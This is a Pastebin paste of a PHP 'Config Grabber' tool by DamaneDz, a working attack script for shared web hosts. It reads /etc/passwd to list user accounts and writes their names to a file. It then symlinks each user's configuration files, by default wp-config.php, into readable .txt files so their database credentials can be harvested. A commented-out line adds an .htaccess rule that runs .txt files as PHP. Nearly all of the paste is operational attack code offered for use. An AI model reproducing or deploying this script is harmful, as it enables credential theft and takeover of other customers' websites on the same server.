nil_007

congrab

Jan 11th, 2023
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.83 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Sec4Ever Config Grabber By DamaneDz</title>
  4. <link href='http://www.sec4ever.com/home/sec4ever.gif' type='image/x-icon' rel='shortcut icon' />
  5. <style>
  6. body{background-color:#111;color:#00ff00;}
  7. body,td,th{ font: 8pt Lucida,Tahoma;margin:0;vertical-align:top;color:#00ff00; }
  8. table.info{ color:#000;background-color:#222; }
  9. text-align: center;
  10. span,h1,a{ color: $color !important; }
  11. span{ font-weight: bolder; }
  12. h1{ border-left:7px solid $color;padding: 3px 5px;font: 14pt Verdana;background-color:#333;margin:0px; }
  13. div.content{ padding: 5px;margin-left:5px;background-color:#222; }
  14. a{ text-decoration:none; }
  15. a:hover{ text-decoration:underline; }
  16. .ml1{ border:1px solid #555;padding:5px;margin:0;overflow: auto; }
  17. .bigarea{ width:100%;height:300px; }
  18. #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
  19. input,textarea,select{ margin:0;color:#999;background-color:#222;border:1px solid $color; font: 8pt Tahoma,"Tahoma"; }
  20. .style{
  21. font-size: 36px;
  22. text-align: center;
  23. color: #FFFFFF;
  24. background-color: #000000;
  25. font-family: Georgia, "Times New Roman", Times, serif;
  26. }
  27. #textarea {
  28. background-color: #000000;
  29. -moz-border-radius: 15px;
  30. -webkit-border-radius: 15px;
  31. border: 1px solid #FF0000;
  32. padding: 5px; color:#FF0000
  33. }
  34. </style>
  35. <div align="center" class="style">Sec4Ever Config Grabber By DamaneDz (PHP Version)</div>
  36. <p>&nbsp;</p>
  37. <form action="" method="post">
  38. <p align="center">
  39. <font size="5">Configs Path:</font>
  40. <p>&nbsp;</p>
  41. <p align="center"><textarea id="textarea" name="configs" cols="100" rows="18" >blog/wp-config.php</textarea>
  42. <p>&nbsp;</p>
  43. <p align="center"><font size="5">Home Path:</font>
  44. <p>&nbsp;</p>
  45. <p align="center"><input name="home" type="text" size="30" value="/home"/><br>
  46. <p>&nbsp;</p>
  47. <p align="center"><font size="5">Files Path:</font>
  48. <p>&nbsp;</p>
  49. <p align="center"><input name="public" type="text" size="30" value="/public_html"/><br>
  50. <p>&nbsp;</p>
  51. <p align="center"><input name="symlink" size="80" value="Symlink" type="submit">
  52. <p>&nbsp;</p>
  53. </form>
  54. <?
  55. /*
  56.  
  57. File Writed By DamaneDz / Idea By LiON H34RT
  58.  
  59.  
  60. Twitter: @DamaneDz
  61.  
  62. Before Using This File Please Check The Disabled Function
  63.  
  64. You Can Use This File To Check Them
  65.  
  66. http://pastebin.com/HrZHdQAG
  67.  
  68. P.S: Symlink Function Is Very Requested
  69.  
  70. The Below Comments Was Created Just to Help Beginner
  71.  
  72. */
  73.  
  74. set_time_limit(0); // no time limit
  75.  
  76. if(isset($_POST["symlink"])){
  77.  
  78. $configs = explode("\n",$_POST["configs"]);
  79.  
  80. $public = $_POST['public'];
  81.  
  82. $home = $_POST['home'];
  83.  
  84. $passwd = fopen("/etc/passwd", "rb"); // Read Passwd File
  85.  
  86. while (!feof($passwd) ) {
  87. $lines = fgets($passwd); // >> Get Contents Of The Passwd File
  88. $user = explode(':', $lines); // Explode The Passwd File By :
  89.  
  90. file_put_contents("users.txt" , $user[0]."\n", FILE_APPEND); // Write A New File Contain Users
  91.  
  92. // StarT Symlinking ...
  93.  
  94. foreach ($configs as $config){
  95.  
  96. //$home.'/'.$user[0].$public.'/'.$config >> Traget Config
  97. //$user[0].'_'.$config.'.txt' >> File Link Name
  98.  
  99. symlink($home.'/'.$user[0].$public.'/'.$config, $user[0].'_'.$config.'.txt');
  100.  
  101. // Symlink Function Requested Check Your Disabled Function
  102.  
  103. /*
  104. if (file_exists($user[0].'_'.$config.'.txt')){
  105. $link=$user[0].'_'.$config.'.txt';
  106. echo "<p align='center'><font color='red'>Symlink: $link</font></p>";
  107. }
  108. */
  109.  
  110. // Done Symilnking :p
  111. }
  112. }
  113. // Generate .htaccess Delete The // To Activate The Action :p
  114. // file_put_contents(".htaccess" , "AddHandler php-script .txt\nAddType text/html htm html php\n", FILE_APPEND);
  115.  
  116. // Oh FinallY :p !!
  117. print "<p align='center'><font color='#F6358A' size='4'>DonE !</p>";
  118. }
  119. ?>
  120. <p> &nbsp;</p>
  121. <p> &nbsp;</p>
  122. <p align="center"><font color="#F6358A" size="4">By DamaneDz([email protected])</font><br><br>
  123. MaDe in AlGeria 2012 &copy</p>
  124. </head>
  125. </html>
  126. <?php
  127. // EOF !!
Add Comment
Please, Sign In to add comment